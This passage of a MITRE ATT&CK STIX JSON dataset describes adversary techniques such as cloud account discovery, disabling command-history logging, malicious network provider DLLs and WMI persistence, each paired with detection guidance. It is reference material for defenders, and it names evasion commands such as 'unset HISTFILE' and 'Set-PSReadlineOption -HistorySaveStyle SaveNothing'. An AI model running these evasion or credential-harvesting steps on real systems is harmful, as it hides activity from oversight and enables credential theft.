            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Command: Command Execution",
                "File: File Access",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe",
            "created": "2020-02-21T21:08:36.570Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1087/004",
                    "external_id": "T1087.004"
                },
                {
                    "source_name": "AWS List Roles",
                    "description": "Amazon. (n.d.). List Roles. Retrieved August 11, 2020.",
                    "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html"
                },
                {
                    "source_name": "AWS List Users",
                    "description": "Amazon. (n.d.). List Users. Retrieved August 11, 2020.",
                    "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html"
                },
                {
                    "source_name": "Black Hills Red Teaming MS AD Azure, 2018",
                    "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.",
                    "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/"
                },
                {
                    "source_name": "Google Cloud - IAM Servie Accounts List API",
                    "description": "Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.",
                    "url": "https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list"
                },
                {
                    "source_name": "Microsoft AZ CLI",
                    "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
                    "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"
                },
                {
                    "source_name": "Microsoft msolrolemember",
                    "description": "Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0"
                },
                {
                    "source_name": "GitHub Raindance",
                    "description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.",
                    "url": "https://github.com/True-Demon/raindance"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:00:56.981Z",
            "name": "Cloud Account",
            "description": "Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.\n\nWith authenticated access there are several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command <code>az ad user list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) \n\nThe AWS command <code>aws iam list-users</code> may be used to obtain a list of users in the current account while <code>aws iam list-roles</code> can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, <code>gcloud iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code> may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "SaaS",
                "IaaS",
                "Office Suite",
                "Identity Provider"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "created": "2017-05-31T21:30:48.728Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1057",
                    "external_id": "T1057"
                },
                {
                    "source_name": "show_processes_cisco_cmd",
                    "description": "Cisco. (2022, August 16). show processes - . Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_monitor_permit_list_through_show_process_memory.html#wp3599497760"
                },
                {
                    "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
                    "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
                },
                {
                    "source_name": "Sygnia ESXi Ransomware 2025",
                    "description": "Zhongyuan Hau (Aaron), Ren Jie Yow, and Yoav Mazor. (2025, January 21). ESXi Ransomware Attacks: Stealthy Persistence through. Retrieved March 27, 2025.",
                    "url": "https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:50.607Z",
            "name": "Process Discovery",
            "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or <code>Get-Process</code> via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as <code>CreateToolhelp32Snapshot</code>. In Mac and Linux, this is accomplished with the <code>ps</code> command. Adversaries may also opt to enumerate processes via `/proc`. ESXi also supports use of the `ps` command, as well as `esxcli system process list`.(Citation: Sygnia ESXi Ransomware 2025)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Austin Clark, @c2defense"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nFor network infrastructure devices, collect AAA logging to monitor for `show` commands being run by non-standard users from non-standard locations.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Network Devices",
                "Windows",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "1.6",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Process: OS API Execution",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59",
            "created": "2020-02-21T20:56:06.498Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1562/003",
                    "external_id": "T1562.003"
                },
                {
                    "source_name": "Google Cloud Threat Intelligence ESXi VIBs 2022",
                    "description": "Alexander Marvi, Jeremy Koppen, Tufail Ahmed, and Jonathan Lepore. (2022, September 29). Bad VIB(E)s Part One: Investigating Novel Malware Persistence Within ESXi Hypervisors. Retrieved March 26, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/esxi-hypervisors-malware-persistence"
                },
                {
                    "source_name": "Sophos PowerShell command audit",
                    "description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.",
                    "url": "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit"
                },
                {
                    "source_name": "Microsoft PowerShell Command History",
                    "description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7"
                },
                {
                    "source_name": "Sophos PowerShell Command History Forensics",
                    "description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved November 17, 2024.",
                    "url": "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:50.696Z",
            "name": "Impair Command History Logging",
            "description": "Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. The `HISTFILE` environment variable is also used in some ESXi systems.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)\n\nAdversaries may clear the history environment variable (<code>unset HISTFILE</code>) or set the command history size to zero (<code>export HISTFILESIZE=0</code>) to prevent logging of commands. Additionally, <code>HISTCONTROL</code> can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. \n\nOn Windows systems, the <code>PSReadLine</code> module tracks commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default). Adversaries may change where these logs are saved using <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. This will cause <code>ConsoleHost_history.txt</code> to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command <code>Set-PSReadlineOption -HistorySaveStyle SaveNothing</code>.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging (e.g. <code>no logging</code>).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Vikas Singh, Sophos",
                "Emile Kenning, Sophos",
                "Austin Clark, @c2defense"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code>, <code>HISTFILE</code>, or <code>HISTFILESIZE</code> environment variables may be suspicious.\n\nMonitor for modification of PowerShell command history settings through processes being created with <code>-HistorySaveStyle SaveNothing</code> command-line arguments and use of the PowerShell commands <code>Set-PSReadlineOption -HistorySaveStyle SaveNothing</code> and <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to clear or disable historical log data with built-in features native to the network device platform.  Monitor such command activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "2.3",
            "x_mitre_data_sources": [
                "Sensor Health: Host Status",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3",
            "created": "2019-12-03T14:15:27.452Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1053/004",
                    "external_id": "T1053.004"
                },
                {
                    "source_name": "AppleDocs Launch Agent Daemons",
                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:50.783Z",
            "name": "Launchd",
            "description": "This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \n\nAdversaries may abuse the <code>Launchd</code> daemon to perform task scheduling for initial or recurring execution of malicious code. The <code>launchd</code> daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the <code>launchd</code> daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. <code>launchd</code> can also be abused to run a process under the context of a specified account. Daemons, such as <code>launchd</code>, run with the permissions of the root user account, and will operate regardless of which user account is logged in.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": true,
            "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--90c4a591-d02d-490b-92aa-619d9701ac04",
            "created": "2023-03-30T22:45:00.431Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1556/008",
                    "external_id": "T1556.008"
                },
                {
                    "source_name": "NPPSPY - Huntress",
                    "description": " Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY. Retrieved March 30, 2023.",
                    "url": "https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy"
                },
                {
                    "source_name": "NPPSPY Video",
                    "description": "Grzegorz Tworek. (2021, December 14). How winlogon.exe shares the cleartext password with custom DLLs. Retrieved March 30, 2023.",
                    "url": "https://www.youtube.com/watch?v=ggY3srD9dYs"
                },
                {
                    "source_name": "NPPSPY",
                    "description": "Grzegorz Tworek. (2021, December 15). NPPSpy. Retrieved March 30, 2023.",
                    "url": "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy"
                },
                {
                    "source_name": "Network Provider API",
                    "description": "Microsoft. (2021, January 7). Network Provider API. Retrieved March 30, 2023.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/secauthn/network-provider-api"
                },
                {
                    "source_name": "NPLogonNotify",
                    "description": "Microsoft. (2021, October 21). NPLogonNotify function (npapi.h). Retrieved March 30, 2023.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:51:56.379Z",
            "name": "Network Provider DLL",
            "description": "Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify) \n\nAdversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`.(Citation: NPPSPY) Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.(Citation: NPLogonNotify)\n\nAdversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "CrowdStrike Falcon OverWatch",
                "Jai Minton"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Process: OS API Execution",
                "File: File Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58",
            "created": "2020-01-24T14:07:56.276Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/003",
                    "external_id": "T1546.003"
                },
                {
                    "source_name": "FireEye WMI 2015",
                    "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
                },
                {
                    "source_name": "Dell WMI Persistence",
                    "description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.",
                    "url": "https://www.secureworks.com/blog/wmi-persistence"
                },
                {
                    "source_name": "FireEye WMI SANS 2015",
                    "description": "Devon Kerr. (2015). There's Something About WMI. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20221203203722/https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf"
                },
                {
                    "source_name": "Medium Detecting WMI Persistence",
                    "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96"
                },
                {
                    "source_name": "Elastic - Hunting for Persistence Part 1",
                    "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.",
                    "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1"
                },
                {
                    "source_name": "Mandiant M-Trends 2015",
                    "description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160629094859/https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf"
                },
                {
                    "source_name": "Microsoft Register-WmiEvent",
                    "description": "Microsoft. (n.d.). Retrieved January 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                },
                {
                    "source_name": "Microsoft MOF May 2018",
                    "description": "Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:50.950Z",
            "name": "Windows Management Instrumentation Event Subscription",
            "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.(Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts \u2013 using `mofcomp.exe`  \u2013into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Brent Murphy, Elastic",
                "David French, Elastic",
                "Viren Chaudhari, Qualys"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI <code>EventFilter</code>, <code>EventConsumer</code>, and <code>FilterToConsumerBinding</code> events. Event ID 5861 is logged on Windows 10 systems when new <code>EventFilterToConsumerBinding</code> events are created.(Citation: Elastic - Hunting for Persistence Part 1)\n\nMonitor processes and command-line arguments that can be used to register WMI persistence, such as the <code> Register-WmiEvent</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Process: Process Creation",
                "Command: Command Execution",
                "WMI: WMI Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75",
            "created": "2020-10-02T16:59:56.648Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1596/004",
                    "external_id": "T1596.004"
                },
                {
                    "source_name": "DigitalShadows CDN",
                    "description": "Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed \u2013 How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.",
                    "url": "https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T21:55:21.053Z",
            "name": "CDNs",
            "description": "Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor\u2019s geographical region.\n\nAdversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization\u2019s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938",
            "created": "2020-03-06T21:04:12.454Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1497/002",
                    "external_id": "T1497.002"
                },
                {
                    "source_name": "FireEye FIN7 April 2017",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                },
                {
                    "source_name": "Unit 42 Sofacy Nov 2018",
